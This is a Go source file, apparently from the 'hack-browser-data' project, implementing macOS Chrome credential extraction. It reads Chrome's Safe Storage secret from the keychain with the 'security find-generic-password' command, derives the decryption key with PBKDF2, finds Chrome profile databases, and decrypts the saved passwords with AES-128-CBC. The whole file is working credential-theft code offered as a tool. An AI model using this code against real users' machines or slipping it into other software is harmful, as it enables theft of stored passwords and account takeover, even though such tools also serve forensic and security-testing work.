You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
98 lines
2.0 KiB
98 lines
2.0 KiB
package utils
|
|
|
|
import (
|
|
"bytes"
|
|
"crypto/aes"
|
|
"crypto/cipher"
|
|
"crypto/sha1"
|
|
"errors"
|
|
"hack-browser-data/log"
|
|
"os/exec"
|
|
"path/filepath"
|
|
|
|
"golang.org/x/crypto/pbkdf2"
|
|
)
|
|
|
|
const (
|
|
macChromeDir = "/Users/*/Library/Application Support/Google/Chrome/*/"
|
|
)
|
|
|
|
var (
|
|
iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
|
|
command = []string{"security", "find-generic-password", "-wa", "Chrome"}
|
|
chromeSalt = []byte("saltysalt")
|
|
chromeKey []byte
|
|
)
|
|
|
|
func InitChromeKey() error {
|
|
var (
|
|
cmd *exec.Cmd
|
|
stdout, stderr bytes.Buffer
|
|
)
|
|
cmd = exec.Command(command[0], command[1], command[2], command[3])
|
|
cmd.Stdout = &stdout
|
|
cmd.Stderr = &stderr
|
|
err := cmd.Run()
|
|
if err != nil {
|
|
log.Println(err)
|
|
return err
|
|
}
|
|
if stderr.Len() > 0 {
|
|
err = errors.New(stderr.String())
|
|
log.Println(err)
|
|
}
|
|
temp := stdout.Bytes()
|
|
chromePass := temp[:len(temp)-1]
|
|
decryptChromeKey(chromePass)
|
|
return err
|
|
}
|
|
|
|
func GetDBPath(dbName ...string) (dbFile []string) {
|
|
for _, v := range dbName {
|
|
s, err := filepath.Glob(macChromeDir + v)
|
|
if err != nil && len(s) == 0 {
|
|
continue
|
|
}
|
|
if len(s) > 0 {
|
|
log.Debugf("Find %s File Success", v)
|
|
log.Debugf("%s file location is %s", v, s[0])
|
|
dbFile = append(dbFile, s[0])
|
|
}
|
|
}
|
|
return dbFile
|
|
}
|
|
|
|
func decryptChromeKey(chromePass []byte) {
|
|
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
|
|
}
|
|
|
|
func DecryptChromePass(encryptPass []byte) (string, error) {
|
|
if len(encryptPass) > 3 {
|
|
return aes128CBCDecrypt(encryptPass[3:])
|
|
} else {
|
|
return "", &DecryptError{
|
|
err: passwordIsEmpty,
|
|
}
|
|
}
|
|
}
|
|
|
|
func aes128CBCDecrypt(encryptPass []byte) (string, error) {
|
|
if len(chromeKey) == 0 {
|
|
return "", nil
|
|
}
|
|
block, err := aes.NewCipher(chromeKey)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
dst := make([]byte, len(encryptPass))
|
|
mode := cipher.NewCBCDecrypter(block, iv)
|
|
mode.CryptBlocks(dst, encryptPass)
|
|
dst = PKCS5UnPadding(dst)
|
|
return string(dst), nil
|
|
}
|
|
|
|
func PKCS5UnPadding(src []byte) []byte {
|
|
length := len(src)
|
|
unpadding := int(src[length-1])
|
|
return src[:(length - unpadding)]
|
|
}
|
|
|